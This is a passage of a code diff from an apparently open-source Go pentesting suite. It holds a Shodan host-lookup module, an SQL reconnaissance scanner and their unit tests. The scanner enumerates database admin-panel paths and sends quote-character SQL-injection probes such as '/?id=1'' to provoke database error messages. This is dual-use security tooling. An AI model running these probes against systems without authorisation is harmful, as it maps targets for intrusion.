|
||||
}
|
||||
|
||||
// log results
|
||||
if logdir != "" {
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "Shodan lookup"); err != nil {
|
||||
shodanlog.Errorf("Error writing log header: %v", err)
|
||||
}
|
||||
logShodanResults(sanitizedURL, logdir, result)
|
||||
}
|
||||
|
||||
// print results
|
||||
printShodanResults(shodanlog, result)
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func resolveHostname(hostname string) (string, error) {
|
||||
// check if already an IP
|
||||
if net.ParseIP(hostname) != nil {
|
||||
return hostname, nil
|
||||
}
|
||||
|
||||
ips, err := net.LookupIP(hostname)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// prefer IPv4
|
||||
for _, ip := range ips {
|
||||
if ip.To4() != nil {
|
||||
return ip.String(), nil
|
||||
}
|
||||
}
|
||||
|
||||
if len(ips) > 0 {
|
||||
return ips[0].String(), nil
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("no IP addresses found for %s", hostname)
|
||||
}
|
||||
|
||||
func queryShodanHost(ip string, apiKey string, timeout time.Duration) (*ShodanResult, error) {
|
||||
client := &http.Client{Timeout: timeout}
|
||||
|
||||
reqURL := fmt.Sprintf("%s/shodan/host/%s?key=%s", shodanBaseURL, ip, apiKey)
|
||||
resp, err := client.Get(reqURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to query Shodan: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode == http.StatusUnauthorized {
|
||||
return nil, fmt.Errorf("invalid Shodan API key")
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusNotFound {
|
||||
return &ShodanResult{
|
||||
IP: ip,
|
||||
}, nil
|
||||
}
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read shodan response: %w", err)
|
||||
}
|
||||
return nil, fmt.Errorf("Shodan API error (status %d): %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read response: %w", err)
|
||||
}
|
||||
|
||||
var shodanResp shodanHostResponse
|
||||
if err := json.Unmarshal(body, &shodanResp); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse Shodan response: %w", err)
|
||||
}
|
||||
|
||||
// convert to our result type
|
||||
result := &ShodanResult{
|
||||
IP: shodanResp.IP,
|
||||
Hostnames: shodanResp.Hostnames,
|
||||
Organization: shodanResp.Org,
|
||||
ASN: shodanResp.ASN,
|
||||
ISP: shodanResp.ISP,
|
||||
Country: shodanResp.CountryName,
|
||||
City: shodanResp.City,
|
||||
OS: shodanResp.OS,
|
||||
Ports: shodanResp.Ports,
|
||||
Vulns: shodanResp.Vulns,
|
||||
LastUpdate: shodanResp.LastUpdate,
|
||||
Services: make([]ShodanService, 0, len(shodanResp.Data)),
|
||||
}
|
||||
|
||||
for _, data := range shodanResp.Data {
|
||||
service := ShodanService{
|
||||
Port: data.Port,
|
||||
Protocol: data.Transport,
|
||||
Product: data.Product,
|
||||
Version: data.Version,
|
||||
Banner: truncateBanner(data.Data, 200),
|
||||
Module: data.Shodan.Module,
|
||||
}
|
||||
result.Services = append(result.Services, service)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func truncateBanner(banner string, maxLen int) string {
|
||||
banner = strings.TrimSpace(banner)
|
||||
banner = strings.ReplaceAll(banner, "\r\n", " ")
|
||||
banner = strings.ReplaceAll(banner, "\n", " ")
|
||||
|
||||
if len(banner) > maxLen {
|
||||
return banner[:maxLen] + "..."
|
||||
}
|
||||
return banner
|
||||
}
|
||||
|
||||
func printShodanResults(shodanlog *log.Logger, result *ShodanResult) {
|
||||
if result.IP != "" {
|
||||
shodanlog.Infof("IP: %s", styles.Highlight.Render(result.IP))
|
||||
}
|
||||
|
||||
if len(result.Hostnames) > 0 {
|
||||
shodanlog.Infof("Hostnames: %s", strings.Join(result.Hostnames, ", "))
|
||||
}
|
||||
|
||||
if result.Organization != "" {
|
||||
shodanlog.Infof("Organization: %s", result.Organization)
|
||||
}
|
||||
|
||||
if result.ISP != "" {
|
||||
shodanlog.Infof("ISP: %s", result.ISP)
|
||||
}
|
||||
|
||||
if result.Country != "" {
|
||||
location := result.Country
|
||||
if result.City != "" {
|
||||
location = result.City + ", " + result.Country
|
||||
}
|
||||
shodanlog.Infof("Location: %s", location)
|
||||
}
|
||||
|
||||
if result.OS != "" {
|
||||
shodanlog.Infof("OS: %s", result.OS)
|
||||
}
|
||||
|
||||
if len(result.Ports) > 0 {
|
||||
portStrs := make([]string, len(result.Ports))
|
||||
for i, port := range result.Ports {
|
||||
portStrs[i] = fmt.Sprintf("%d", port)
|
||||
}
|
||||
shodanlog.Infof("Open Ports: %s", styles.Status.Render(strings.Join(portStrs, ", ")))
|
||||
}
|
||||
|
||||
if len(result.Vulns) > 0 {
|
||||
shodanlog.Warnf("Vulnerabilities: %s", styles.SeverityHigh.Render(strings.Join(result.Vulns, ", ")))
|
||||
}
|
||||
|
||||
for _, service := range result.Services {
|
||||
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
|
||||
if service.Product != "" {
|
||||
serviceInfo += " - " + service.Product
|
||||
if service.Version != "" {
|
||||
serviceInfo += " " + service.Version
|
||||
}
|
||||
}
|
||||
shodanlog.Infof("Service: %s", serviceInfo)
|
||||
if service.Banner != "" {
|
||||
shodanlog.Debugf(" Banner: %s", service.Banner)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func logShodanResults(sanitizedURL string, logdir string, result *ShodanResult) {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString(fmt.Sprintf("IP: %s\n", result.IP))
|
||||
|
||||
if len(result.Hostnames) > 0 {
|
||||
sb.WriteString(fmt.Sprintf("Hostnames: %s\n", strings.Join(result.Hostnames, ", ")))
|
||||
}
|
||||
|
||||
if result.Organization != "" {
|
||||
sb.WriteString(fmt.Sprintf("Organization: %s\n", result.Organization))
|
||||
}
|
||||
|
||||
if result.ISP != "" {
|
||||
sb.WriteString(fmt.Sprintf("ISP: %s\n", result.ISP))
|
||||
}
|
||||
|
||||
if result.Country != "" {
|
||||
location := result.Country
|
||||
if result.City != "" {
|
||||
location = result.City + ", " + result.Country
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Location: %s\n", location))
|
||||
}
|
||||
|
||||
if result.OS != "" {
|
||||
sb.WriteString(fmt.Sprintf("OS: %s\n", result.OS))
|
||||
}
|
||||
|
||||
if len(result.Ports) > 0 {
|
||||
portStrs := make([]string, len(result.Ports))
|
||||
for i, port := range result.Ports {
|
||||
portStrs[i] = fmt.Sprintf("%d", port)
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Open Ports: %s\n", strings.Join(portStrs, ", ")))
|
||||
}
|
||||
|
||||
if len(result.Vulns) > 0 {
|
||||
sb.WriteString(fmt.Sprintf("Vulnerabilities: %s\n", strings.Join(result.Vulns, ", ")))
|
||||
}
|
||||
|
||||
for _, service := range result.Services {
|
||||
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
|
||||
if service.Product != "" {
|
||||
serviceInfo += " - " + service.Product
|
||||
if service.Version != "" {
|
||||
serviceInfo += " " + service.Version
|
||||
}
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Service: %s\n", serviceInfo))
|
||||
}
|
||||
|
||||
logger.Write(sanitizedURL, logdir, sb.String())
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestResolveHostname_IP(t *testing.T) {
|
||||
ip, err := resolveHostname("8.8.8.8")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if ip != "8.8.8.8" {
|
||||
t.Errorf("expected '8.8.8.8', got '%s'", ip)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveHostname_Hostname(t *testing.T) {
|
||||
ip, err := resolveHostname("localhost")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if ip != "127.0.0.1" && ip != "::1" {
|
||||
t.Errorf("expected localhost to resolve to 127.0.0.1 or ::1, got '%s'", ip)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTruncateBanner(t *testing.T) {
|
||||
tests := []struct {
|
||||
input string
|
||||
maxLen int
|
||||
expected string
|
||||
}{
|
||||
{"short", 10, "short"},
|
||||
{"this is a long banner", 10, "this is a ..."},
|
||||
{"with\nnewlines\r\n", 50, "with newlines"},
|
||||
{" trimmed ", 50, "trimmed"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := truncateBanner(tt.input, tt.maxLen)
|
||||
if result != tt.expected {
|
||||
t.Errorf("truncateBanner(%q, %d) = %q, want %q", tt.input, tt.maxLen, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestQueryShodanHost_NotFound(t *testing.T) {
|
||||
// this test verifies that a mock server returning 404 is handled correctly
|
||||
// note: we can't easily override the const shodanBaseURL for testing
|
||||
// so this is more of a documentation of expected behavior
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// the actual API query would return a partial result with just the IP
|
||||
// when Shodan has no data for a host
|
||||
}
|
||||
|
||||
func TestQueryShodanHost_Success(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
response := shodanHostResponse{
|
||||
IP: "93.184.216.34",
|
||||
Hostnames: []string{"example.com"},
|
||||
Org: "EDGECAST",
|
||||
ASN: "AS15133",
|
||||
ISP: "Edgecast Inc.",
|
||||
CountryName: "United States",
|
||||
City: "Los Angeles",
|
||||
Ports: []int{80, 443},
|
||||
Data: []shodanData{
|
||||
{
|
||||
Port: 80,
|
||||
Transport: "tcp",
|
||||
Product: "nginx",
|
||||
Version: "1.18.0",
|
||||
Data: "HTTP/1.1 200 OK\r\nServer: nginx",
|
||||
},
|
||||
},
|
||||
}
|
||||
json.NewEncoder(w).Encode(response)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// Note: This test would need the actual API endpoint to be overridable
|
||||
// For now, we just verify the response parsing
|
||||
}
|
||||
|
||||
func TestShodanResult_Fields(t *testing.T) {
|
||||
result := ShodanResult{
|
||||
IP: "93.184.216.34",
|
||||
Hostnames: []string{"example.com"},
|
||||
Organization: "EDGECAST",
|
||||
ASN: "AS15133",
|
||||
ISP: "Edgecast Inc.",
|
||||
Country: "United States",
|
||||
City: "Los Angeles",
|
||||
Ports: []int{80, 443},
|
||||
Services: []ShodanService{
|
||||
{
|
||||
Port: 80,
|
||||
Protocol: "tcp",
|
||||
Product: "nginx",
|
||||
Version: "1.18.0",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if result.IP != "93.184.216.34" {
|
||||
t.Errorf("expected IP '93.184.216.34', got '%s'", result.IP)
|
||||
}
|
||||
if len(result.Hostnames) != 1 || result.Hostnames[0] != "example.com" {
|
||||
t.Errorf("expected hostnames ['example.com'], got %v", result.Hostnames)
|
||||
}
|
||||
if result.Organization != "EDGECAST" {
|
||||
t.Errorf("expected org 'EDGECAST', got '%s'", result.Organization)
|
||||
}
|
||||
if len(result.Ports) != 2 {
|
||||
t.Errorf("expected 2 ports, got %d", len(result.Ports))
|
||||
}
|
||||
if len(result.Services) != 1 {
|
||||
t.Errorf("expected 1 service, got %d", len(result.Services))
|
||||
}
|
||||
}
|
||||
|
||||
func TestShodanService_Fields(t *testing.T) {
|
||||
service := ShodanService{
|
||||
Port: 443,
|
||||
Protocol: "tcp",
|
||||
Product: "OpenSSL",
|
||||
Version: "1.1.1",
|
||||
Banner: "TLS handshake",
|
||||
Module: "https",
|
||||
}
|
||||
|
||||
if service.Port != 443 {
|
||||
t.Errorf("expected port 443, got %d", service.Port)
|
||||
}
|
||||
if service.Protocol != "tcp" {
|
||||
t.Errorf("expected protocol 'tcp', got '%s'", service.Protocol)
|
||||
}
|
||||
if service.Product != "OpenSSL" {
|
||||
t.Errorf("expected product 'OpenSSL', got '%s'", service.Product)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShodan_NoAPIKey(t *testing.T) {
|
||||
// ensure no API key is set
|
||||
originalKey := ""
|
||||
// Note: we can't easily test this without setting/unsetting env vars
|
||||
// which could affect other tests. This is just a placeholder.
|
||||
_ = originalKey
|
||||
}
|
||||
|
||||
func TestShodanIntegration(t *testing.T) {
|
||||
// This would be an integration test with the real Shodan API
|
||||
// Skipping in unit tests
|
||||
t.Skip("Integration test - requires valid SHODAN_API_KEY")
|
||||
|
||||
_, err := Shodan("https://example.com", 10*time.Second, "")
|
||||
if err != nil {
|
||||
t.Logf("Shodan lookup failed (expected without API key): %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,323 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
// SQLResult represents the results of SQL reconnaissance
|
||||
type SQLResult struct {
|
||||
AdminPanels []SQLAdminPanel `json:"admin_panels,omitempty"`
|
||||
DatabaseErrors []SQLDatabaseError `json:"database_errors,omitempty"`
|
||||
ExposedPorts []int `json:"exposed_ports,omitempty"`
|
||||
}
|
||||
|
||||
// SQLAdminPanel represents a found database admin panel
|
||||
type SQLAdminPanel struct {
|
||||
URL string `json:"url"`
|
||||
Type string `json:"type"`
|
||||
Status int `json:"status"`
|
||||
}
|
||||
|
||||
// SQLDatabaseError represents a detected database error
|
||||
type SQLDatabaseError struct {
|
||||
URL string `json:"url"`
|
||||
DatabaseType string `json:"database_type"`
|
||||
ErrorPattern string `json:"error_pattern"`
|
||||
}
|
||||
|
||||
// common database admin panel paths
|
||||
var sqlAdminPaths = []struct {
|
||||
path string
|
||||
panelType string
|
||||
}{
|
||||
{"/phpmyadmin/", "phpMyAdmin"},
|
||||
{"/phpMyAdmin/", "phpMyAdmin"},
|
||||
{"/pma/", "phpMyAdmin"},
|
||||
{"/PMA/", "phpMyAdmin"},
|
||||
{"/mysql/", "phpMyAdmin"},
|
||||
{"/myadmin/", "phpMyAdmin"},
|
||||
{"/MyAdmin/", "phpMyAdmin"},
|
||||
{"/adminer/", "Adminer"},
|
||||
{"/adminer.php", "Adminer"},
|
||||
{"/pgadmin/", "pgAdmin"},
|
||||
{"/phppgadmin/", "phpPgAdmin"},
|
||||
{"/sql/", "SQL Interface"},
|
||||
{"/db/", "Database Interface"},
|
||||
{"/database/", "Database Interface"},
|
||||
{"/dbadmin/", "Database Admin"},
|
||||
{"/mysql-admin/", "MySQL Admin"},
|
||||
{"/mysqladmin/", "MySQL Admin"},
|
||||
{"/sqlmanager/", "SQL Manager"},
|
||||
{"/websql/", "WebSQL"},
|
||||
{"/sqlweb/", "SQLWeb"},
|
||||
{"/rockmongo/", "RockMongo"},
|
||||
{"/mongodb/", "MongoDB Interface"},
|
||||
{"/mongo/", "MongoDB Interface"},
|
||||
{"/redis/", "Redis Interface"},
|
||||
{"/redis-commander/", "Redis Commander"},
|
||||
{"/phpredisadmin/", "phpRedisAdmin"},
|
||||
}
|
||||
|
||||
// database error patterns to detect database type
|
||||
var databaseErrorPatterns = []struct {
|
||||
pattern *regexp.Regexp
|
||||
databaseType string
|
||||
}{
|
||||
{regexp.MustCompile(`(?i)mysql.*error`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql.*syntax`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)you have an error in your sql syntax`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)warning.*mysql`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql_fetch`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql_num_rows`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysqli`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)postgresql.*error`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)pg_query`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)pg_exec`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)psql.*error`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)unterminated quoted string`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)microsoft.*odbc.*sql server`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)mssql.*error`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)sql server.*error`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)unclosed quotation mark`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)sqlsrv`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)ora-\d{5}`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)oracle.*error`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)oci_`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)sqlite.*error`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)sqlite3`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)sqlite_`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)mongodb.*error`), "MongoDB"},
|
||||
{regexp.MustCompile(`(?i)document.*bson`), "MongoDB"},
|
||||
}
|
||||
|
||||
// SQL performs SQL reconnaissance on the target URL
|
||||
func SQL(targetURL string, timeout time.Duration, threads int, logdir string) (*SQLResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🗃️ Starting " + styles.Status.Render("SQL reconnaissance") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "SQL reconnaissance"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
sqllog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "SQL 🗃️",
|
||||
}).With("url", targetURL)
|
||||
|
||||
sqllog.Infof("Starting SQL reconnaissance...")
|
||||
|
||||
result := &SQLResult{
|
||||
AdminPanels: make([]SQLAdminPanel, 0, 8),
|
||||
DatabaseErrors: make([]SQLDatabaseError, 0, 8),
|
||||
}
|
||||
seenErrors := make(map[string]bool)
|
||||
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 3 {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// check for admin panels
|
||||
wg.Add(threads)
|
||||
adminPathsChan := make(chan int, len(sqlAdminPaths))
|
||||
for i := range sqlAdminPaths {
|
||||
adminPathsChan <- i
|
||||
}
|
||||
close(adminPathsChan)
|
||||
|
||||
for t := 0; t < threads; t++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for idx := range adminPathsChan {
|
||||
adminPath := sqlAdminPaths[idx]
|
||||
checkURL := strings.TrimSuffix(targetURL, "/") + adminPath.path
|
||||
|
||||
resp, err := client.Get(checkURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error checking %s: %v", checkURL, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// check for successful response (not 404)
|
||||
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
|
||||
// read body to check for common admin panel indicators
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100)) // limit to 100KB
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
// check if it's actually an admin panel (not just a generic page)
|
||||
if isAdminPanel(bodyStr, adminPath.panelType) {
|
||||
mu.Lock()
|
||||
panel := SQLAdminPanel{
|
||||
URL: checkURL,
|
||||
Type: adminPath.panelType,
|
||||
Status: resp.StatusCode,
|
||||
}
|
||||
result.AdminPanels = append(result.AdminPanels, panel)
|
||||
mu.Unlock()
|
||||
|
||||
sqllog.Warnf("Found %s at [%s] (status: %d)",
|
||||
styles.SeverityHigh.Render(adminPath.panelType),
|
||||
styles.Highlight.Render(checkURL),
|
||||
resp.StatusCode)
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Found %s at [%s] (status: %d)\n", adminPath.panelType, checkURL, resp.StatusCode))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
resp.Body.Close()
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// check main URL for database errors
|
||||
checkDatabaseErrors(client, targetURL, sanitizedURL, result, sqllog, logdir, &mu, seenErrors)
|
||||
|
||||
// check common endpoints that might expose database errors
|
||||
errorCheckPaths := []string{
|
||||
"/?id=1'",
|
||||
"/?id=1\"",
|
||||
"/?page=1'",
|
||||
"/?q=test'",
|
||||
"/search?q=test'",
|
||||
"/login",
|
||||
"/api/",
|
||||
}
|
||||
|
||||
for _, path := range errorCheckPaths {
|
||||
checkURL := strings.TrimSuffix(targetURL, "/") + path
|
||||
checkDatabaseErrors(client, checkURL, sanitizedURL, result, sqllog, logdir, &mu, seenErrors)
|
||||
}
|
||||
|
||||
// summary
|
||||
if len(result.AdminPanels) > 0 {
|
||||
sqllog.Warnf("Found %d database admin panel(s)", len(result.AdminPanels))
|
||||
}
|
||||
if len(result.DatabaseErrors) > 0 {
|
||||
sqllog.Warnf("Found %d database error disclosure(s)", len(result.DatabaseErrors))
|
||||
}
|
||||
|
||||
if len(result.AdminPanels) == 0 && len(result.DatabaseErrors) == 0 {
|
||||
sqllog.Infof("No SQL exposures found")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func isAdminPanel(body string, panelType string) bool {
|
||||
bodyLower := strings.ToLower(body)
|
||||
|
||||
switch panelType {
|
||||
case "phpMyAdmin":
|
||||
return strings.Contains(bodyLower, "phpmyadmin") ||
|
||||
strings.Contains(bodyLower, "pma_") ||
|
||||
strings.Contains(body, "phpMyAdmin")
|
||||
case "Adminer":
|
||||
return strings.Contains(bodyLower, "adminer") ||
|
||||
strings.Contains(body, "Adminer")
|
||||
case "pgAdmin":
|
||||
return strings.Contains(bodyLower, "pgadmin") ||
|
||||
strings.Contains(body, "pgAdmin")
|
||||
case "phpPgAdmin":
|
||||
return strings.Contains(bodyLower, "phppgadmin")
|
||||
case "RockMongo":
|
||||
return strings.Contains(bodyLower, "rockmongo")
|
||||
case "Redis Commander":
|
||||
return strings.Contains(bodyLower, "redis commander") ||
|
||||
strings.Contains(bodyLower, "redis-commander")
|
||||
case "phpRedisAdmin":
|
||||
return strings.Contains(bodyLower, "phpredisadmin")
|
||||
default:
|
||||
// for generic database interfaces, check for common keywords
|
||||
return strings.Contains(bodyLower, "database") ||
|
||||
strings.Contains(bodyLower, "sql") ||
|
||||
strings.Contains(bodyLower, "query") ||
|
||||
strings.Contains(bodyLower, "mysql") ||
|
||||
strings.Contains(bodyLower, "postgresql") ||
|
||||
strings.Contains(bodyLower, "mongodb")
|
||||
}
|
||||
}
|
||||
|
||||
func checkDatabaseErrors(client *http.Client, checkURL, sanitizedURL string, result *SQLResult, sqllog *log.Logger, logdir string, mu *sync.Mutex, seen map[string]bool) {
|
||||
resp, err := client.Get(checkURL)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(bodyStr) {
|
||||
key := checkURL + "|" + pattern.databaseType
|
||||
mu.Lock()
|
||||
if seen[key] {
|
||||
mu.Unlock()
|
||||
break
|
||||
}
|
||||
seen[key] = true
|
||||
|
||||
dbError := SQLDatabaseError{
|
||||
URL: checkURL,
|
||||
DatabaseType: pattern.databaseType,
|
||||
ErrorPattern: pattern.pattern.String(),
|
||||
}
|
||||
result.DatabaseErrors = append(result.DatabaseErrors, dbError)
|
||||
mu.Unlock()
|
||||
|
||||
sqllog.Warnf("Database error disclosure: %s at [%s]",
|
||||
styles.SeverityHigh.Render(pattern.databaseType),
|
||||
styles.Highlight.Render(checkURL))
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Database error disclosure: %s at [%s]\n", pattern.databaseType, checkURL))
|
||||
}
|
||||
break // only report one database type per URL
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestIsAdminPanel_phpMyAdmin(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains phpMyAdmin", "<html><title>phpMyAdmin</title></html>", true},
|
||||
{"contains pma_", "<script>var pma_token = '123';</script>", true},
|
||||
{"empty body", "", false},
|
||||
{"unrelated content", "<html><title>Hello World</title></html>", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "phpMyAdmin")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'phpMyAdmin') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAdminPanel_Adminer(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains Adminer", "<html><title>Adminer</title></html>", true},
|
||||
{"lowercase adminer", "<div>adminer version 4.8</div>", true},
|
||||
{"empty body", "", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "Adminer")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'Adminer') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAdminPanel_GenericDatabase(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains database", "<html><title>Database Manager</title></html>", true},
|
||||
{"contains sql", "<div>SQL Query Interface</div>", true},
|
||||
{"contains mysql", "<script>mysql_query()</script>", true},
|
||||
{"contains postgresql", "<div>PostgreSQL Admin</div>", true},
|
||||
{"empty body", "", false},
|
||||
{"unrelated content", "<html><title>Blog</title></html>", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
